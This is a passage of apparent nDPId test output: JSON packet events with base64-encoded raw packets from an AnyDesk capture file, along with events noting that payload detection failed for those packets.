mZU4CxvRvLr0ReZJSH5rrDegOJhU68t3aRhKI4QnSupoXufImVhGvqKQy31urzDeq82goHmAtWLKzsvUE9SZfEeNlZlIQ09CNneLiae0hqChRNhzF+5K9BSCvvgOX1SNothtEoEQVO023GVDlsdBy6NeK7WZzJ\/RzS2u3xLfBvcAvcth3ZIv4is6pyjhTEh4LIc0yW8XnipfDvKRODLyy3sXo1ftdhswfwNmg\/bkKHKHTJZLGnso6yyh6pwFogZr\/\/C1Zs+Q1uc3ltEwTr8C2lM+ZWRgHh5aI1gXlbYNPXQgWWJxHdmH44a2q+F9KYqIz3D+d7HKJKQIaUQh49efa477fUGfjN8mhMSTUOSGY8DNu8RqiOx1WGtqV7iD+iARk6zs2s77E2rO0jKl8d43wstjEUhWssZ4sQKBZ+6Cv+PSi4ML969MMV5CIuWqOBF7w9WhYzEY+gY5geymHCNqOhzcKMjIMHNyrAZsDEkhgcaBxtKyeGcp5uT+87eA7uOEh8prC+JlRyOUbRPU+UWRC8UIrL9cerB3AvCt4Tm\/Iuqf3kMxG3aS18xNuP61wYh88umJweSBRjBKhgVU6+TzrSTlxB\/Ja3vhrqmdCe1fxIbe47tqcOp\/4K01\/q0YRQ4o\/Jr7y2Of5n1rcgaTXvz\/v0LN8x4L7tcD7hi41DsZ4CQFuzmpIc8NkpvUdKRvGjDI1pDyzyLQP41shC+\/jNJ7g60KkYQMsG31pyEYdfY2XNUiY1R2zzEwSmlKaomIIMbcgx1\/b4bpdT\/PF\/+0chxAvXVoeaZIpvLGaa5nC7A5KvVhzCxT5MFzdVURHXP9CervZ2FVSxVP0XZJHGVlSW5flPqtRamtlVzWziSQbW5bYHxeic1zTQJ68SF+N6dZ6YnIXHvAWEvemF1z\/hGoq4PM9rDFyH7qD0zPkj6oII\/b3i\/xbuEPEE8rKAVeaLKbly\/0KL8XvBCtXBcMqyQtgiDBfmoKyOUZNZVvKbovdI3gV\/R3eiH0+MaEgVzth23lxhVyEU4dLWYUJUV7aBQMdTayKCNvo3b1IrwtlUgCFP2FDv04CDq4GLitYjFDb6sopaSmojGfVF6srM4M5mfvpEMwdfd1Re6iA8XrJfJL87hHnS6+0R1pq\/iMMPzBD1GvfpfudksldIBPAOHtLS1Nlou2IZ+3MdpzaC6wJpeueK+w2TOx4M1me3j1uwqpKiR5O4U0qdyzgrr\/8\/1mltZaiUzqm+foNwpLiyIct+qRZZbErNHkfvjLG2qUOzp6Wvu7gdDB1vM4vTCpn\/i1c\/A8MEg8NizvSBofmGnWJniDcPu+83Mlg4s+7Df005p9iz5E\/XmpuhY42R69bQ="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1278,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3490} +07820{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1285,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":985392,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfa9AAIAGAADAqAG7wKgBstOUG56PJT79WcQvvFAYIBOExAAAFwMDFXpZ4hNO+msV57erGOkv2ArRKVlir1eOFF4orFvmZmqjPMo2AnAesuQheIP\/ZSJ70mToqLvE8FggRMCATgrC\/XR5DcJqbvWRjbfW3ErBi2OHxpQV1939ZQiwyAfdhY82P3JB33FmxZIs1tOQBG3yL8BohsnQFi5\/DlHPlKUPo6s26ZXpbUjYR\/0rwAEwnm0Qua4QB4Skr3Cul6ue2izDrDsMQNxb7C5RI9OOMSSgO0DpN3OgmOtrmtUi0R\/ZONzxnYAcHSnIjzfrAGGhdU2fV0fuRT+MwK8S7Gpns8VvaH3vm9y\/ZgtIca1JMogCE19eUE7EuS2ldStJQLrPQRDdXv9FQqN0SVJwKbz49zIISvG8Q3bqbxNiSLMqprKpMpgT8QQzDdw6DAKR39SqMOhrsKyQVwmkTXE6LltpFEQSHSvbtf9QHb0A6\/99UhFbDmGtV3grHrWhN6sQ4TeM4+TkU6NDMQCy6pyCbWnpjZjMRIgz9g6F+P\/rfOy9kjUYz+Ry+RA604lC9kwFNWt\/eVH6hQA81c9yXIKpj6m3o90\/hhVJmdtpC+ZtNBcdk1ARsO3ERpIPRRuTvzIviUa5R4L0BdexDmrPtH6IIRb7oHe7qPcjPwq3RSIRX7QMwKxSvJOb7mAGTzPR\/CLUcAxPgPIF1+FBJG5W5CcLQY2EctmN7w9q9fUYdAaiacX0aohiH5gjlPsTUqwK5VSlSDij4CSVjyOWFwkqv7l\/HBmlZZryiykRqDcgzpqOlsIzTaGyYPdGtJYDv5EuqckB9ttF6\/uovEsf8T9RhImSEDyLTPhLnc9eBLmXcWu6Jg03KA\/wI85BI9diSJ+I9mbuD5OZaTXV5TKDniBBDTWUn0MEqvu4ODi+PvRgW1XRAvL+kIUN2ALpt8iRN2FdLH2H2jTgBkAAJjIWv+iPd2bOgOelYoCmIAS3wkPppxdjqzjgfXDI7ofsDIo1vye09KGGuZ\/ywgjr8BDsWhUuRvJpZDWc+jDdwEmIhbtFU3oHfloaxQAQutUHKhKLQTSmK1sMy6J5+iczTD9O35dwyWNazQbTu\/j0vJYyQy7KMTwvZqLIG3V0+zv0Q\/eIad417QCq57WA0c0LkThx6Nj4oYULclCyktAG84zbbq3rKuZIdW9+S8hlvT22STiDf2G8z932wdTIFMGLDdSVoqeijoUA56buM5R1ao6n4yJnuZjkbdEPf2s+QAOT0ZOOzHlHXfVUR6mqt5gGUL2u04XQ9kUoAbhfXdogt0W0oF0eoP3NYZsJeIgMeRPrQw2B6sxWnAbWYKX1e2fue1uEfmjt6O+mYOTjROSx0F0Moea1jvdHzC0AjbljAO\/OWLkytTki0pW4aqaKFWmPO9EADiWZsdMu4hODSp9AT80GDwte3CXzAfTE36Duye\/KS5urIsRPk8lTFsebCAgGx5j2gYRQwRXgZ24OeHi0lJjnvTODdx3V0Xl2CqAq87adsIsyXp6FAxNM\/TqISpXNu62fsbZ91bNMffQ+Q7JHVrma+lnn0NmA03gc1r4m6UXVoFezPiC7U8H\/Vr1Ui9a4aigS8kwg6\/NKQIXu99BvygSGzAmLodsI2FhWwXDQ7Hr5BOd\/qhYJNJMvS4BDU0eDuNqZyvPpSQoPxHuZil8pmWKdBQ15pUwXtc33oNe6AlG5BuxI9+VlrB2\/JbL7Cguh5Kadqw\/cPhzWzYlh5+QQOIPGujaFBtulmei\/Bax+GghK9aFdBYEzGaDLCtWmAUHM9qIW8x553BVxGHnEInL62C24j8q5JEga1NfYVAue9aTpbYqCGu02vDKOVvom4SNeX49GFx9kqCBm0AE9wgk2L9AepS8jeGTGVPXoIWmtirdC915we2K+xZURf7siZZAuyMo8lvPxVN5+Xy+RHhgnHuoseGRU5nLkBXD2MhozqYYIelc6xXIDpnrRu\/XXehB3pUKkcdNX\/KKPK+cDamVqEgYoDg5BhnI7p3Gc2M2fqGOXbz3qjTP0EdGzs1zROsDnzjcviVuHRrg5\/a8Ls7L4Sszw7GNrYdUq20yZC1MTUpw7hM9JIF6AHqIa60FS7YtxvulV9ZTWCW\/CodlEpovusq+d2MbT6FRC2QjRwqJYONZq\/ZcHNFuNjlb+3cgnAgG5VmXPUeQjJ7RqpUyqpf5o9EuH5VoFoYteGgfHFjZlTTpPbqcy4SR08QFG2Y\/tlyKTrh79ifeftF7xui+TfYRkKjwKJxYlSEp8clbk1NHUm1Thq5ymotdfUc\/eU5IaLLdxvN11PE46LM\/ctRGz8lwW3bY40APDqL5o3XM+29UlIXcbbvWIjxQBhbiAh7CKItguE\/WUdmtoZbHRAfvpvhFFfGgCb1F5SJPGecRm4SEhqXhwoe5iTdkNbxiRkYYcMChBGUcLJuKhDi60dPab5gwJ9ux4eJtQ3PKfa75K13PHrgsHhA7mZI+CoCXZwSzRtBHsZhn1Tb8bG+1ldm7b6fHWLHjImEe8yyaZmwZs9xUzSmWSvIKMd2KzyfER9bLCHbrwQ8\/o+KsJrfZCNitATnFU4hvE5DM2icL02yWUB1gu419pMIEdxsj5Oj004EvPlHkZSLmKoXggF2ait7g7O3CQtuaGGN90uUvR6sJIWUtws8jUpOYikd8N0XFw2wAy0XgnzTtUWt\/B1VHovisHMa9Vf+mmw5E2KIOADCf5gU231OFXiBCabVT6fUDrEY74LgKUbJ5LqDibgEUETdGc4vDCUEbNxghn6Uvpne\/PDnLnH8FaPD\/IaKzTTaX22ZYIe5P2NJDQWwS1IV+mDvntx3fkm5uLrkSl9lWi6OCqY\/0Tu3nCN5XW9Cp3TkeC\/a8ToYCBPTYF0mXTRDiHGoRsANrFLNRMSjKWlsKy+eo\/yo9RiXu6gBSNydBkNmF5BM3bbSse5VmP8YnBKB5LHwhVKy+6vLIiCoHcRPKrp+UKZzc0mWUBQai4hJgnr9Gr5PeGdIWJXLRNz4q1zgKiUZrsKB8LpXUcdaYdeVo9NO4jCtmWMnOY9RW94QJITHmcP7OQDDk9Lcj1ZOCnB3OrbnM7mCNJLzHB1RnIFjhdxApw1hjS3UXo3xsYbuvP7MuudIv+b6SRNdYbTZISNxvU3vtPVb1vxahKki7Fib2NgrRFf9ebTJjUaaW26Fui0ZjgX7+t57SAlsA1ToRYmjNDpsgdqUFRTwhtNTmojYUmWdffGuQHqN+MVndeD5ooYpZkDSbty669H2RKOhZr\/Yvj\/N\/EYzNaMr6W5OXJ0YOpQXC6nDcaPe26SvkREBiw2PN0gt5GzDbgCLu7Hxs4JkgBJrvg1NDcxkr1qZ597JXISA9QbdWz326FP3M36g\/plvm0Gaq1+HtlgnmBWQI+lsG8PBX6DFfsaRiBO8M\/XZCiYYe0576NmnG4etCmOB0IP3sAXcuAwRGRFA3U6vyoc35f6BrpeuDWRg\/SHMWuR7xr7Igvz5e3ZArCusOT9cIMeuDqAAZsRcKjgsooTYSKoKfIty2W24XzRSh9UPerlpVl\/HC\/wQyJqnf7FSKISplrcJe7HDtr1eBriJ037TY4ccEI5jXzzUfj2pST8qCAmLIMqCqDj1ZFh4bmzDZixoMsWl2MBgPi6o8Yopaj9IOQi3HxrmzNlQUJfXplZ8fRJlC0OjtERfrNYAwMtitQMDo7i00R+s6yu7Kd1Zb90DP7aW58vTR\/QEIbEKpZnEUU5IuDeZ1q3G6WRdNrTfwrfccaVdEMHZsdpImvOSMZbTborhghGm9A0A6OxKuBGYH4aCDDRPKa0d0lOTTcVvuCnSD+NOzlOcbxmLaH+baBT5ixGukH2M5OQRTRBWZENDHy1qLE83SrTjivLhrAc7YU4Qi1TkQAHwxdT\/H\/ZBclrIH+iVkTsm\/j901ccgjMxOTmpKryR2FWmUFU536qtz6vJdNmmQVU+FHAAsZoy2y+BoqQncBfZJMWmyLT47BH1C5kfYv9hehZibqRh0\/xZye8X\/PAjymKBXvEKp+fErKF0Q5tGybiB6SxSemAp31ls70sTR7xW77MekmNcWWOPbKWvy0kSqSTUXgC4W3su3lQQSwUuEssKKp92zDSJS3GvluLbwNQr5LTF7zt37GXnpRbodOJTXOECw2kjMgscqvdOdFxB7CB7W3Oy2Jp8zOpttBQogTCwgzmOuCjRDLVW2URacGyZbJTcRqQIgRl7CwbczFviRMtVGxOy6KYB76FW2N7SDFA516tdjFQSu64QWatxj4jdHZWGk5lDgQAPS5ksjWxJ9yo5CbutE4KqWUeaVpCdlNXHN+AveibOKfCvQyaJ3UpvmYSC6NbGqoDsVJ9aU6Y+psTz7fJgMc2E8iJS4BddC\/CnZDi9+Fdw6ozPWNFQkwQFunNGvURhSvS31l4z\/KJz2CXClRWJOpdj9UzhhO1DkETZcj6NFdCgxu5ytSxbJjIMtKPn60q54R1CnDY6CYzGLXWJLHrckGigkikWFr3W2z4BSWtFZeKxyqsW4mAmjOHpmTBj27CoVEeyQ3WnRZsqCrgYkckCLoQma77dSE4fQPR1JMmBP79hJHLJUyiE\/7wwkkbAH1lMh+sGwAmqoNB4aJnZ7hOdYSrwjl8jXlpI\/EdV0MqtWopiCJEIB2VE\/Mj1pG6jN6WBhjpV\/usq9oV0et1FNm0ERCbc8k\/rjoNgr2PEzDW4eKWZxFitMPchBgCBUOAWISKRimMzqV8iMlKD7VURSVzrYKnjbMRtu0m28dQlNpHrUkKO5sve7B72UI9CWujiQKV\/CRZIe6HfUUx7VPBC+OUQkXNeWJspdqDrCKbiFTPPh1xc9G0pIodu+ROJ0movrV2bKlNkp+\/E7Fqn8R+vIyaP8Mt4X6ekoPSEv4mA0KYYhvfa21bRSSxpIgmIOrAny+hfuBY+MYCIw7PH3kCZIBjlOJRhvPT8sQ4uLXAD6\/mxuhcUqxguR1GNSMjZa8fShdTAjyaSeON6A8wpOT4aZmeKaALu8zeeGV6C7aAsyDQdhjS+w2OORHG7C6DPe3JivH4ZeGRXwO1cGJDbw5yij+7LY8N2Ybe34iryw9OJ59SPPXku6EqImAoFv7b7bRRDPEtvKNk6g7pBFy3L61v4r44cPpb2sDf20ZSEGkTYpabIjT7N2oAHLRSkatYnGgjctBGuLy57hvsMq7UN8h6+aiji7o2w0u2Ag2qz6J+gu0C2Vf4LLI9lwqimSoomVe9YvmpYJZ1sqzu8PjCYdVq\/uXcwC07iVCmE2AXGn6qtOsfN+gj4cTYP1xkGi3UobgGO4IAzm84XobfDlWjkEJ7LySurLL3OPD6mDbwxb4ksk\/sk\/FVImM\/nh6t2kLSdrCMSQ57VW4JjMvEiMAJ\/RS8fTX2eAC1nsqbPNyJn6L6PMki\/JBy\/5B0SkbJhuiq9i7VIvOi078w2AIpJsFUzJzaJ6qh8dJ5D0rK\/rp+ojHfPBANamLW8z4U2\/Lycb1AcDrcSDdjzRHI3CyOFjZYSj1EK1V3+e8x6iiCEkvxWYj6yVtLMsdIDNkZra1d0pdSkkNs96bBC70e7Qse+NEmI6y4R98f4l3UQfC5EkuxZTe9VWNJ\/OCStGfI5JOsXBCvJg6FDD+4igxQaeiWG\/x0KiHLIN14cCu9oeKw0wUy1gHm5Z5m4MrTHNGZcB2DxBSoUtDXqjPtVOCPxppjBddjvMRRkJX43aWwDuE6ALxMWcjDZxOzgHixAlYBEknnjdVg1Meyjt3TCIJ9sVHIf\/Mo0lhrZBGkyKmfGX673TwfM4nw97AGNXuJkcGkni34nhLZsZwd1F3EXJWq5fEi5xA6LR\/HGV3YhRakmi6yN4Cy4lWZNsOsaWP8T7S+y\/RhCBHZh1Y75xDXusTG7bPqRVD9cQbNCYRd7C436P2If86yU5bZUA\/O7qhmLhgVdhf5aqwuW6zr2UN9Sa4XblZZQ4V29pwXFj22zAP5T2nJ8Wsh8ptuG\/qEM+gbaBhtABqVdiIwTj3zJsksO45LUOdSogyRcfv9qNetcT79ZLINJ0WWs7V9RhNyCz3V0Wuqt3fVKffND\/Fx29O79xN6yy8OJwQA6GCwOjcz6CI\/rfK1M1WWfp27FX4YOHkeLg5LEOEYoo\/qxqMJ5Gb8uikRyaC7gOXdGQmcnSL7ppFU+A8lKYNSm4ik9NmOWqEGy+09QAZRe3oApkSo0gId++rgFDCRtVWYuqNemfUtdD7ot+LKrRUtNCpWwa9s3ednIznxYnFtCn+L+0XQqJG+HExyhXFbiCwm0ZDxVBYgrqZ6Kid3xAlEtlCTBrO9OQBpn5x9CkDmeB7rYxLZO14aI1BoquER5M71Cqn1EQLHNbpo2RVCKqrhTVm9BiiuAV4QX9ovpN9LvlyQkkadDsaxVZsa\/yM8OknIG1yhepM8FAG9DxoECHjZ0Bnm3JCvSHAW8tWHFpq34mDZsIMMs5GrwSv3OZTyctoUGVctXu8Ct2S3vOcYmBCjtNgsoy59SfwwGi7msfd519Wl3p+QXsScLezXiwJurHuksVkpe58O+yyV1fqTynaPZeh1CM83tGl1yVvoyMPrpgVJaqanPXoWNWqzy2P2SVdrtuShLrHhbwoSB3b4pSFzq2BfCknIkrxXGFt4QfvyzevkklXvBra5nxC6WP9riozY9y3iubswZKeXd8KFnOBTefs1925ofh0\/Ely27cBYcfy9xxUMihH\/CVVKaGgmwEO2ohj\/n\/Tgj2LEiBG7XL7Hbrts3hoQLG6h1ezxzv5MgcqucWV1472oPSDV5nV1\/wyJRySL5hpScBbb+r0j+RsdPzvYnYqibyyE3KPSvqJos9vCcc\/NjquDOAGp6+c7+2cfdziwxrileLfJ+Ae4rNILmc8ndydkeCbTdNi0OLxtvtqFcOTrzt+vsG4\/9BwqbTxzHXFivNfUKHsJXPpo0ZfSu7hqfRByipqodYMs6IQlAWGZy4F7Od542vNHQ3kL1qWX8RmEPUL61+q1V6+WraGKORTprXGz+zSl8DPYQWvR2NzolBD0odix8PN87PJTX4IwhyZMZwZmnA0YLG4lq3z\/LLor7\/yov6i0acLr+HB1VHI45t3X2VQ99JfWM6zjl6hQtFFF\/IGwywDi\/pCq4ase5aila1UhmZzC6jmnn\/RlidlguIUpMNPh41JUzL\/Udxs9OhHLftkGvfo0pFaH857xJOXCNBOfuJQk7Y\/yU88pn5\/3kbK9PpVJltExCo4EJW4\/bZffb54HNJrFlpb61hX4RmeSEQJrMMUCtAQNTh3ZYJcAwKK\/LojpjEEh1HONQDwOUvvCcGAbf4sjEJXkPGyZdfQaR93ZTs2mRdJ7FcIZLo1uEirpmI5d+7aLVxlCB8wTPwVm7JjfVg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1285,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07843{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1286,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":985434,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfbNAAIAGAADAqAG7wKgBstOUG56PJVR8WcQvvFAYIBOExAAAFwMDFXdZ4hNO+msV6AWTnWSx\/WtVs33Ovdz45B1PWmy8Vc0AmzqRWt1OS31gQxPCg4y9W72gU\/Wjq7C5iJNvjHHxQETWLISUi1igCe2gZtHUbqN+lOIPw67sut0oo+oV4uwkubiA6Dizhlwpna7506vvpGNmaNMGy40CLGpSIlhyNp9klW9oif66UeATHiBYlDuCNWagOqunj2f\/qle66U8BAPIOFBn5d7h7YIPy2bRQLnecQjBlCp3DmuA\/MBm+F0NJSUHlS0ZIUg8QryXUw+GnU0qPNaOpP9kDUsNKpn1\/s3bE9ZjEh4ijEnWB6CuGgAxga8foDydwZ4FMdooliU\/1RZ8a33Mi+GVvR3+kUKia+5+QSgkTZxgVBFBDCcgoFu5PcPRTrak43FbAZNaLJ7dsE82dwm8D7P7GEhg1S2lCe0QKV7LAcwSeS2QFbW02xzfQpfRRP29SQngRA\/naHNRt\/sOe38nNZp2QaQJcPzcjnNEeSKNwgKolZeHIl0iRP+Q94Bshy5DzdoSE0J\/1qO0kucxbuDGASOWo53\/2f5tur+Okei5tD1jA1TaUiX1QcZK1zhkgLo5SQRVP2EPb4h+omM9UvZat8wuu0DubNeE+BabRUvSoV9ovSecv2BsaCv9vlWWoDQhU41JpaBkqgLHFhU46L5+DiSJfoVUYIO\/U929JckwIQlB9Uzlg9d\/a5SU64HaFqXZcUCNkA0t55guIcom\/bCV+SEUdbOijWrv0zFHUhP4XVabotxB\/6ciuRypahV3yUGmSlROzmORashvU194cWULzlTNZRqGGttOUanz5FcnP2+I2CBrXJjThw5jJA2pkBtTazkbpzead9I+8cVzlXypZfptKEFRZ9Fa\/MPLAyMDARMyhvuDoy1sJB8xg7D5cKmXAfsifcX3pO+Ts+98SHMDNCGvQtprRDo1iMru79NRVCKrQuLwQDYUFpCFgxaDwO8eFW77XeNNBeu88qN2CMiBN1lXYY9ffdNzVd54A4YkK73Gn6ln4zHroKUTdeDWxTC2XTt1M3A+fT+l6OoVYN\/eixIgVU4f2mUKixG9gzaNePMjIEA5xx0AgawpVZKZNQy+XVpp\/k6v4lztDxxL6DjKq9YDg\/21AnRsyLCfYDSg4fmLMIupW++7wwGEanvXbMDrP\/\/YpGA5JPzTrMsKB8RUY60VPI9IG2Z1STST\/Vd2yNyHE4ArmEcNgDBRdGBL98ENyO\/u\/bzh6c6Fus\/TqJ4wxKYcRbuciMLg3IgCRVbZCPgKC\/iq7k8htBOuVMRRzEcKf8cYqHj6HJmhVri7L0Qz3MJfb4NN+GTCyhdBjoaH45wXbv7wekBThISjZNiJzBd8aGnwv1LhKtacd4UNRXB4Gg2KPYAAIWSOVftEyqhjr2VeENMBMf\/1+J5UV89h5K2\/xeYg07CtfDPW\/DSPdTCqrnh7673NIOZsiMKoMNUJElFxqkwtSPGgUkiE\/WCcD1U8GUP\/F1aHWWVZGDKsRQD339WHip52MMkZVCowUzeg3Z1rNmSbK+S4E3BkLxl5JPLb3GchB+C4EObiM\/5DkMI\/FAMTEGLzSOHZqmB+z38wYZc1qIlpRMzR\/HW6X3xzOdzD1\/w0ybm9erghp7mmw71RMzXsOHFubRX8DM9cih2mEgQBptqmI9ZZ2Os83v64VnHkTzocUOcfKT7yQEehIo2pw07ClwZ+QaK9RReeP07D7JBUz6iGGwqdpXj+Xc+vjmolL0tHOWq69HJgkOcnLhav\/OiuMMa1DIDyjCIvkUK9\/8DMv5Y\/fzkBPz0dL96b988chwSn6MsZ\/DPMAPPRvb4EbOYAcQ1sKrT+ftjKe4NbQuvLrOQMa24e2DJvT6GR6jWvWLeYUsxZcwNyGNM9g8h8mgTq+Yv7aQfWftyFoPiSUbfL7V3V0jQ5GXV8iEey8jMvVsR9rua241WrtGdqQCUbv1GRWXdBoRart0RhJctRleoTpDUwXH3JvGUWmr0TA+xLvQ6A+zKGemlJgF0mvY+s17tUQEo8SnjpPIPX6AhEaAre6bBcRKlQv7xRwsZXYAgcnFqUJ9Jlq2Ny1EAZtU0V6r0DM1m7gG5o+NPf9TaxbTkAHcuF2unWF0Jc4nsnP01EGoJE5oKa3G\/q4opb6yYFdpIbIbyIopWvf6L6c5XvmXzpYGsBKiWjtPnvdyhZJQ1ghihmC1AIXgzhZ2k+wliAdiWfxBgL10lrADnQ7gqcAaJQdkL4hnEYMGoDwlfAFBRoBiUIhlLQ0p+MxGifCD\/pkcN\/ymBe5fu4PnVv9lGZWDIRF4DAHxz0A6Xib5FCV8wKyldzKE7A914T3Lf3jEqVSPa5o9k7+YsLuhXeLRSj3\/DvoAB8tAnBg1MRoGXD2TbMjTRx0rHH4m7QqP5Yn3y04ghxTU0sMc+TXiOo\/sD9fLPqb3j7m9eolsPvGxjoFQzZKl76kCI\/YMFx7lsRpyrYV5exOzIM78Z6DWjeGXCUZA0Xy3TqQK+eyPYQIuRxiJ0H6+r3RCJJRfh7sZFeyDFwFd36N+hqRFfIetMoNLMnfYY1ljlOfApRflUTfpr7V2nbFvzh5v4SwHuW1+nHzo8E1QZmaCeb+cQUYQ9zzNUGamhdhWxPTJia7EjeQlfxVbKlsa1feUC9y4wJUW3YbtH44z\/I8UmoWaLxS+cGQok6oEtjnvNKcfNaJAWq3EJ9XSZo4mQQMg\/+dAPKC4lOFL\/+dKtbX2V3g3DgkaE6WHY3\/qnu9Z75N13HbZ4XJ3tvJe\/siXzUtTzu66h1sF9VdzeI6FS4V1jS1FWxGO1eL0ITt+wDO3twsFV4xyJw6ViqcfLh9HD2kbGARQ2fLbjJK919aG03c+se9kLflhjLp00zxnzzNo7HhjRq6Qk4QPIlrGbHX\/wb7FVuv2WGGdCgA5chp7yuYiGnOfqHA\/HDScdrajgJbRSFrftz\/ZiCdcPVj6xcV24e3o9gi+wvh83tv3Jo0FN4Z0rkTm2dRv6FdwOaReCRE1R8yxkGhtn6I8bXbElfFnH86Hm4bAP2dd7xUwJo80\/Ps4vdm\/RNGfiiFXfRGwFQOuYvYawGyKyBCwhKKK4gEKWbtNy5A8H1Qkd62itntjfrOC\/y5guzItpurPYw1X3lB8S4YD6Az0PCXkv4sjr\/f\/C2taqz01gTkQUDnOOmYO20YR9RJQoeYbGBtBaZYBhC9GhDJYZ\/mSXfz\/9ZpqHKD71PplCk\/LMw5128m+zkDCRLfZcGPvFP06I5YpYhV6kj+IsQ\/KTokXJs6UpFILUz7TfXfWUOM6jabrynFVlzPZ2dF2jo+vNlLfSRHZTljEVq7zoIE53a2bSIKyR\/p7U+Ja6kJll5FdiQ3arOI5SrACC0mlGu4H+fSREGHcJPAnPiKckAeI78h3Y8TDP5SXeAIta6St+qATxfKHZo0QAUnSui7fQHIGTbThcLEEojb7GZYUYePFXgmMpcMibUewZ5tE37inAZXzuABggWlwk15v0\/IyLupwneWrsd+T500Il2YoUO6bE5Ws\/7D0sQzICP59rXNbsILxY509UJChcVu6h4NtYKueTe4u827Opxv5siakau5d0mUm1u00uLAGA\/4Av1DM0HjWASz\/xcalgu\/3qq\/wrW\/ra\/H1JmiFYLfOwsPx2gI4pYzN9H79SSA+dyWpHFHLFoFpCevmZkiCGBnxefrlO41g1jxfcZNyL+aiPQ14dAJlMeQqZiFR\/yBvs+m+xF3s6teQYJ84EamnyO\/I8XXxEvmcrVnLaSxnouLG9TLvq+3a6NTCwpWlRVWxTFKs+a\/+4lcNq+hSctupeK\/0Al9SVEONezGF97YnqSaRpFdJfZHfsERr9CAf8JI+HUaar+KUDdiajTf4lq+lnTI8wxmD7ZQg99oaS5fY843vTJpReN3+xj8peGjcXu05x6gZnLoMOY4maMozg5+dG\/sX2yGI0kJ4KuIIX8v05uUpQvMFOOfUSrwVBjlRoEeDWTmvBV35oVlqb9XktfZCelQdEuFipIMVvILcO1G8wuRnU68VQPXBNW1hJa7y9ySoB9Gqbq2JhMbSlTQ4fW9qN3IfEI0ujLRKnPkWyrbUNj6KSrsVG\/nwJQrTe6O1fMPsNhzoZdnEQF2+qxVlHVTaCYZb0KSzodlB3AaHUjV0DNEKNTXW7blxBjk7coFp3a4hykyiEdVfIPrvwnRaH4W3M9u6YA39v3UCauGksB3ys\/2pokqqfPpPeS6YzJ0cixCjPZUfvPJL\/\/\/LNTCBLAva\/S93VF69\/go8HjdQHrs1QI3r+5JU5ZB1skQ+O38xESCALL+HwohS2fLGVwcNjAwg0SHtTDIeQtcAqt1YIevJXEWon075Ibss33AvmCvUThPG8R\/SWPw2+u4CoQNyfDTF+gF62QB5BkNO8nzyOG7kxPlQfaWzLDX5ntNE8jmFpr72NZjiZ\/eaXQf10IBDhiErdpO+LDpGYkTxSu9904ViNyzwKOStYgJm59zUywaSua+3jTyQbRkZdMDTPV91in5GtLibiDumDL5ss19Uc4FTSjYc6k+oEfSBXv4GiQe06rg78Yjg+uei924yODqCgeYqf8IsEvEKD1+Ca+TbAwfAVD394OUyheU\/stfmBBwOl5eIfvC4tiCmXRQKwiIvRPR5VFCl0OwLgaWcKMEDwR5mN95jeCAKVpjep7uYNuyQohPYgDFa4dtCtvm\/4qcAz6drwzqCpd+yINowynAjCbcDKSP1Zxq8Z79wSQh+HeXIrS3P2\/z6DLEpha2QM24BdUNTDBkKzhQbQWXkUMmtJ+p4HEkjcLCA98I5IXBbUE2YKdOybv\/1bcoPfudSoI71qqYwTUZ1tH1DJja58nsPutwnfWXWDhmGHRl9CqkIVSQxs8P8cc3yr2vEfD3wECYlFpOMO5uBi\/0PG06YcemWiyx+EUjlbXJW5kqA6MTF0yJo4rNeX81AVGn9ok0xrp3aUaj06qPAFpaIHDOTyu+dPStYoFUPUSqojqDkJE6WDthoFVTcusUCxjl0BY\/J+wEifODG6OftjSWs+2NKjtxT7uuCBKkxB47O\/fLBbFxj7MUffOrQMh+7CzT7hnXxbMfwL03kCjTAo9eRbLStwC\/ZG+YXx7DaYKZNv\/oATKsQZTxDjkNvnTB1trbQ22HDghpjUiKkwpAt2YqoO80tIa2VOnxaQBIiwWZPlZkpqELFBuoWCTrRgFlNK\/Sq+TSsBtI1A3tEymVJKA1Qi54h\/18ocmBHXj80I4sfhm8s8yDz5Iwcn7+5yX3KiUAg9cHNgjvtuCovakR6Ydv7sKVgivMDKaEvctrw6\/EZipCbB1A739cxyofafqyWxr2kqyolm0iZXudqOagl7G0e2Hh\/LT4JJwZufVeaZVepS7l53XY9FEWq\/yptvgSE4NcFKQ6EL087cNKSBfuyFmKMF6w5w\/k\/9KRXESzW2bx0LdQ3O88fG19Tvf7z02iJs1VYyuwiHMYNbR3Z9o2eIfLvzazCb1w8h9q270B7szxHmD1wA1DT6H0HhUgEf1V4Pz5MgfS52ugxrFxPZvwdqxQER6xNhU5Q\/Cq99HBm15MheU6BMQeOOApYAtOZI0n4qCse9iOgq8VVKWOXyORIZU+41kyR74bc6MmtDJaOJDev7QnwxeIFgCwALQmuoR\/dn4vcvJweKCzflYrU9vGW0uKUvwnDohniWiklbnxyPsR20BtL3Gx1b61NC4A6JUaI4JgACtmt8I5lbhQF+1X5MEO1tmk9zFdRsRsrYk8Q0v1qezi+IUq48W7a6FfSw8GzWniLhV8UoSqoKDAqNSJWe93gVrCIuVTpaHe9mSJhhct9OIN81KV\/iz1+xkDr5mJlSm0Uf4c+TSmILZtDKFpSfpYYbJ0N+jw7YyZiBLE+I+1jerScsHkXf4ugnNTboaDYhYU9FaZ1n+o6PRJ286TVkzrHaHFr13lcp7j00dzYXsWvln+wprIxsR+4bm5jMiUNId+yVtwH\/qgeP1\/Zoye0HhS9Mhc1QAaXUu50o0ec6hS+O8Uh7PVu4f5RIRUwFTU31Iwk8\/TOQIkkmlnGPJIEXfnG45DPcjQI44Ua\/77p7bdNrUU5c67f+52Epz3j92T6VETr2IK9+GfI\/f7crHOJNmah6lsRROAigpNAVbq8lGYf\/xn73SaPWicesIp0QeOmwDpaxwkbOt5soA1q01wWWb5se5qpnEO